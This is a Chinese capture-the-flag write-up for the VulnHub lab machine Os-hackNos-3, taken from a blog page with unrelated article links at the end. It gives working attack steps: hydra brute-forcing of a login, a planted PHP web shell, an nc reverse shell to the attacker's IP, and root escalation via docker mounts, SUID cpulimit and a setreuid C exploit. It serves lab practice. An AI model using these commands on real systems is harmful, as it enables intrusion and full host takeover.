Os-hackNos-3

下载地址:hackNos: Os-hackNos-3 ~ VulnHub

1 信息收集

1.1 端口扫描

┌──(kali㉿kali)-[~]
└─$ nmap -sV -T4 -F 192.168.0.3
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-05 16:18 CST
Nmap scan report for 192.168.0.3
Host is up (0.51s latency).
Not shown: 98 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0p1 Ubuntu 6build1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

1.2 后台目录扫描

┌──(kali㉿kali)-[~]
└─$ dirsearch -x403,401,301,302 -u http://192.168.0.3/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt [16:36:37] Starting:
[16:23:28] 200 - 195B - /index.html
[16:36:38] 200 - 2KB - /scripts
[16:36:52] 200 - 5KB - /devil
[16:36:59] 200 - 5KB - /websec Task Completed # 尝试暴破/websec的子目录
┌──(kali㉿kali)-[~]
└─$ dirsearch -x403,401,301,302 -u http://192.168.0.3/websec [17:23:20] 200 - 2KB - /websec/admin

1.2.1 目录分析

  1. http://192.168.0.3/scripts/

  2. http://192.168.0.3/devil/

  3. http://192.168.0.3/websec/

    收集到网站的邮箱:
    contact@hacknos.com

  4. http://192.168.0.3/websec/admin

  5. 使用cewl收集网站信息生成目标网站字典

    ┌──(kali㉿kali)-[~/OneForAll-0.4.3]
    └─$ cewl http://192.168.0.3/websec/ > cewl.txt

2 爆破后台登录页面

根据收集的网站信息,邮箱contact@hacknos.com,网站字典:cewl.txt进行爆破

2.1 BP爆破

  1. 发现该后台登录页面对登录请求的IP进行了限制

  2. 去掉Cookie头部字段后可以正常爆破:

    # 得到用户名:
    contact@hacknos.com
    # 密码
    Securityx

2.2 hydra爆破

┌──(kali㉿kali)-[~/OneForAll-0.4.3]
└─$ hydra -l contact@hacknos.com -P cewl.txt 192.168.0.3 http-post-form "/websec/admin:username=^USER^&password=^PASS^:Log In"
# -l 用户名
# -P 密码字典
# https-post-form、http-get-form、https-get-form
# :Log In表示登陆错误后回包中存在的特征字符; Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-03-05 22:00:15
[DATA] max 16 tasks per 1 server, overall 16 tasks, 54 login tries (l:1/p:54), ~4 tries per task
[DATA] attacking http-post-form://192.168.0.3:80/websec/admin:username=^USER^&password=^PASS^:Log In
[80][http-post-form] host: 192.168.0.3 login: contact@hacknos.com password: Securityx
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-03-05 22:00:18

3 利用Gila后台GetShell

  1. 在Gila CMS 文件管理页面,添加后门文件:http://192.168.0.3/websec/admin/fm

    <?php system($_POST['acmd']);?>

  2. 修改http://192.168.0.3/websec/admin/fm?f=./.htaccess文件,添加内容如下,并保存

    RewriteCond %{REQUEST_URI} !shell.php

  3. 得到webshell

  4. 构造Post请求利用nc反弹shell

    POST /websec/shell.php HTTP/1.1
    Host: 192.168.0.3
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: PHPSESSID=0dijj1gi0vejr0vsvhrtome2md; GSESSIONID=1hum7oobrai608grd992fkjm8u632f2xuzbhge31p8b1ikcjd6
    Upgrade-Insecure-Requests: 1
    DNT: 1
    Sec-GPC: 1
    Pragma: no-cache
    Cache-Control: no-cache
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 117 acmd=rm+/tmp/getshell%3bmkfifo+/tmp/getshell%3bcat+/tmp/getshell|/bin/sh+-i+2>%261|nc+192.168.0.2+2333+>/tmp/getshell

  5. 利用python切换shell

    python -c 'import pty;pty.spawn("/bin/bash")'

3 提权

3.1 收集当前系统信息

  1. 查看/etc/passwd文件得到当前系统存在用户:blackdevil

  2. blackdevil家目录中找到user.txt的flag文件

  3. 查找具有SUID权限的命令:cpulimit

    www-data@hacknos:/home/blackdevil$ find / -perm -u=s 2>/dev/null
    /usr/bin/mount
    /usr/bin/passwd
    /usr/bin/chfn
    /usr/bin/newgrp
    /usr/bin/cpulimit
    /usr/bin/gpasswd
    /usr/bin/umount
    /usr/bin/su
    /usr/bin/sudo
    /usr/bin/fusermount
    /usr/bin/at
    /usr/bin/pkexec
    /usr/bin/chsh
  4. 查找用户所创建的敏感文件:没有东东

    www-data@hacknos:/home/blackdevil$ find / -user 1000 2>/dev/null

3.2 切换到用户提权

3.2.1 查找blackdevil用户密码

  1. 查看当前www-data用户的sudo权限:sudo -l,没有东东

  2. 查找可疑文件(这个真的好难找,我没搞出来):/var/local/database

    # 根据提示spreadsheet的编码方式
    Expenses
    Software Licenses,$2.78
    Maintenance,$68.87
    Mortgage Interest,$70.35
    Advertising,$9.78
    Phone,$406.80
    Insurance,$9.04
    Opss;fackespreadsheet

  3. 解码得到密码:Security@x@

    解码网站:Spreadsheet mimic - decode (spammimic.com)

  4. 切换为blackdevil用户,并查看该用户所属组

    blackdevil属于docker,sudo组

  5. 查看blackdevil用户拥有sudo命令权限:拥有所有命令的执行权限

3.2.2 sudo 提权

blackdevil@hacknos:~$ sudo su -

3.2.3 docker提权

  1. 当前系统docker镜像文件

  2. 下载docker镜像文件,启动容器并挂载宿主机的根目录

    # alpine镜像非常小非常适合用于提权
    blackdevil@hacknos:~$ docker run -it -v /:/mnt alpine /bin/sh # 由于已经将宿主机根目录挂载到了容器的/mnt/目录下,因此在容器内,/mnt/目录是一个完整的根目录,可以使用chroot获取到这个根目录的完整root权限
    chroot /mnt

3.3 cpulimit 提权

3.3.1 直接提权

cpulimit -l 100 -f -- /bin/sh -p

3.3.2 利用cpulimit执行提权脚本进行提权

  1. 提权脚本

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    int main(int argc,char *argv[])
    {
    setreuid(0,0);
    execve("/bin/bash",NULL,NULL);
    }
  2. gcc编译提权脚本

    ┌──(kali㉿kali)-[~]
    └─$ gcc exp.c -o exp
  3. 上传exp文件到目标主机:BASE64编码方式

    1. 查看编译后的exp文件Base64编码:base64 exp

    2. 在目标主机上vim创建exp.b64文件,并写入exp文件Base64编码:

      www-data@hacknos:/var/www/html/websec$ vim exp.b64
    3. 解码/exp.b64文件:

      www-data@hacknos:/var/www/html/websec$ base64 -d exp.b64 > exp
  4. 编写设置权限脚本,赋予exp文件sid权限

    chmod +x exp
  5. 提权

    cpulimit -l 100 -f ./exp

Os-hackNos-3的更多相关文章

  1. NodeJs之OS

    OS Node.js提供了一些基本的底层操作系统的模块OS. API var os = require('os'); console.log('[arch] 操作系统CPU架构'+os.arch()) ...

  2. Node.js:OS模块

    os模块,可以用来获取操作系统相关的信息和机器物理信息,例如操作系统平台,内核,cpu架构,内存,cpu,网卡等信息. 使用如下所示: const os = require('os'); var de ...

  3. Xamarin+Prism开发详解四:简单Mac OS 虚拟机安装方法与Visual Studio for Mac 初体验

    Mac OS 虚拟机安装方法 最近把自己的电脑升级了一下SSD固态硬盘,总算是有容量安装Mac 虚拟机了!经过心碎的安装探索,尝试了国内外的各种安装方法,最后在youtube上找到了一个好方法. 简单 ...

  4. Mac OS 使用 Vagrant 管理虚拟机(VirtualBox)

    Vagrant(官网.github)是一款构建虚拟开发环境的工具,支持 Window,Linux,Mac OS,Vagrant 中的 Boxes 概念类似于 Docker(实质是不同的),你可以把它看 ...

  5. Mac OS、Ubuntu 安装及使用 Consul

    Consul 概念(摘录): Consul 是 HashiCorp 公司推出的开源工具,用于实现分布式系统的服务发现与配置.与其他分布式服务注册与发现的方案,比如 Airbnb 的 SmartStac ...

  6. java 利用ManagementFactory获取jvm,os的一些信息--转

    原文地址:http://blog.csdn.net/dream_broken/article/details/49759043 想了解下某个Java项目的运行时jvm的情况,可以使用一些监控工具,比如 ...

  7. 让 ASP.NET vNext 在 Mac OS 中飞呀飞。。。

    写在前面 阅读目录: 娓娓道来 Install ASP.NET vNext Command Line Tools 安装 Homebrew 使用 Homebrew,安装 KVM Install Subl ...

  8. Mac OS X 上编写 ASP.NET vNext (二) IDE配置

    上一篇中介绍了如何在OS X上搭建.Net运行时.不过光有运行时还不够,还需要有一个好用的IDE,有了IDE的支持,OS X上的开发才称为可能. 和上篇类似,这里先列举出具体步骤,个人可以根据自己的情 ...

  9. 在Mac OS X上安装ASP.NET 5(译文)

    ASP.NET 5 运行在包括OS X的可用于多个平台的.NET Execution Environment(DNX)上.本文介绍如何在OS X上通过HomeBrew安装DNX和ASP.NET 5. ...

  10. Python标准模块--os

    1.模块简介 os模块主要包含普遍的操作系统相关操作,如果开发者希望自己开发的Python应用能够与平台无关,尤其需要关注os这个模块. 2.模块使用 2.1 os模块 1. os.name,输出字符 ...

随机推荐

  1. GeoServer 2.15.0 开启跨域设置

    GeoServe老版本可能开启跨域设置比较麻烦,但2.15.0版本还是比较简单的. 首先找到安装目录下的 webapps\geoserver\WEB-INF\web.xml 文件,打开进行编辑,建议编 ...

  2. SQL语句查询关键字:where筛选、group by分组、distinc去重、order by排序、limit分页、操作表的SQL语句布补充

    目录 SQL语句查询关键字 前期数据准备 编写SQL语句的小技巧 查询关键字之where筛选 查询关键字之group by分组 查询关键字之having过滤 查询关键字值distinct去重 查询关键 ...

  3. 解决Win10更新后远程桌面提示CredSSP加密Oracle修正的问题

    1.以管理员身份打开cmd,运行命令提示符:2.执行REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Cre ...

  4. Jenkins&&gitlab

    DevOps 强调整个组织的合作以及交付和基础设施变更的自动化 gitlab下载: 下载地址: https://docs.gitlab.com/ee/install/requirements.html ...

  5. [python] 基于blind-watermark库添加图片盲水印

    blind-watermark是一个能够给图片添加/解析基于频域的数字盲水印的Python库.图像水印image watermark是指在图片里添加文本或图形,以标记图片的来源.但是图像水印会破坏原图 ...

  6. [Computer Networks]一个http请求的完成的全过程

    摘要 本文主要讲述了一个 http request 请求从发出到收到 response 的整个生命周期,希望可以通过对整个流程的一个描述来梳理清楚五层网络协议的定义以及各层之间是如何协作的. 对于后端 ...

  7. 图文并茂strapi 4.5.5自定义搭建指南以及数据库字段名接口返回mapping分析

    strapi是什么? 基于Nodejs的开源免费CMS框架 为什么选择它? 基于nodejs,100%JavaScript,上手迅速 可轻松创建功能强大且可自定义的API 可以使用任何喜欢的数据库 先 ...

  8. linux 高效压缩工具之xz的压缩解压使用

    xz是什么 高压缩率的工具,它使用 LZMA2 压缩算法,生成的压缩文件比传统使用的 gzip.bzip2 生成的压缩文件更小, 不过xz也有一个坏处就是压缩时间比较长,比7z压缩时间还长一些.不过压 ...

  9. 【学习笔记】开源库之 - sigslot (在解决浅拷贝问题的基础上增加信号拦截功能)

    前言说明 在文中<[学习笔记]开源库之 - sigslot (提供该库存在对象拷贝崩溃问题的解决方案)>已经介绍过 sigslot ,此文主要应用在实际的工作项目中时,发现会有拦截信号的需 ...

  10. 【学习笔记】QT从入门到实战完整版(按钮和信号槽)(1)

    介绍说明 学习 QT 的目的只是为了可以实现跨平台的具有GUI 的程序,以前用的 MFC,但是无法应用在嵌入式平台.后来在全志的 Tina 系统中有看到 QT ,因此特地去了解了QT,挺有意思的,UI ...